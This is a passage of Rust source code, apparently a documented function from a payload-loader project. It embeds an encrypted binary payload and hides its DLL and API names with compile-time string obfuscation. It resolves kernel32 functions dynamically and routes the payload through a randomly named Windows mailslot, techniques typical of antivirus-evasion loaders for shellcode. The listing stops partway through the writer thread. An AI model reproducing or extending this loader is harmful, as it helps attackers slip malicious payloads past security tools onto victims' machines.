Function load_payload

src/load_payload/mailslot.rs:9–132

()

use obfstr::obfbytes;

pub fn load_payload() -> Result<Vec<u8>, String> {
    const ENCRYPT_DATA: &'static [u8] = include_bytes!("../../output/encrypt.bin");
    let encrypted_data = ENCRYPT_DATA.to_vec();

    // Generate random mailslot name
    let random: u32 = rand::thread_rng().gen_range(10000..99999);
    let mailslot_name_str = format!("\\\\.\\mailslot\\rsl_slot_{}", random);
    let mailslot_name_c = CString::new(mailslot_name_str.clone()).map_err(|e| e.to_string())?;

    unsafe {
        let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
        
        // Define function types
        type CreateMailslotAFn = unsafe extern "system" fn(*const u8, u32, u32, *const c_void) -> isize;
        type GetMailslotInfoFn = unsafe extern "system" fn(isize, *mut u32, *mut u32, *mut u32, *mut u32) -> i32;
        type CreateFileAFn = unsafe extern "system" fn(*const u8, u32, u32, *const c_void, u32, u32, isize) -> isize;
        type WriteFileFn = unsafe extern "system" fn(isize, *const u8, u32, *mut u32, *mut c_void) -> i32;
        type ReadFileFn = unsafe extern "system" fn(isize, *mut u8, u32, *mut u32, *mut c_void) -> i32;
        type CloseHandleFn = unsafe extern "system" fn(isize) -> i32;

        // Load functions
        let create_mailslot_a: CreateMailslotAFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CreateMailslotA\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load CreateMailslotA\0").as_slice()).to_string())?);
        let get_mailslot_info: GetMailslotInfoFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"GetMailslotInfo\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load GetMailslotInfo\0").as_slice()).to_string())?);
        let create_file_a: CreateFileAFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CreateFileA\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load CreateFileA\0").as_slice()).to_string())?);
        let write_file: WriteFileFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"WriteFile\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load WriteFile\0").as_slice()).to_string())?);
        let read_file: ReadFileFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"ReadFile\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load ReadFile\0").as_slice()).to_string())?);
        let close_handle: CloseHandleFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CloseHandle\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load CloseHandle\0").as_slice()).to_string())?);

        // 1. Create Mailslot (Server)
        let h_slot = create_mailslot_a(
            mailslot_name_c.as_ptr() as *const u8,
            0, // No maximum message size
            0, // No read timeout (we'll poll)
            ptr::null()
        );

        if h_slot == -1 { // INVALID_HANDLE_VALUE
            return Err(String::from_utf8_lossy(obfbytes!(b"Failed to create mailslot\0").as_slice()).to_string());
        }

        // 2. Spawn Writer Thread (Client)
        let writer_data = encrypted_data.clone();
        let writer_name = mailslot_name_c.clone();
        
        thread::spawn(move || {
            // Give server time to be ready (though CreateMailslot is synchronous)
            thread::sleep(Duration::from_millis(100));

            let h_file = create_file_a(
                writer_name.as_ptr() as *const u8,
                0x40000000, // GENERIC_WRITE
                0x00000001, // FILE_SHARE_READ
                ptr::null(),
                3, // OPEN_EXISTING
                0x00000080, // FILE_ATTRIBUTE_NORMAL
                0
            );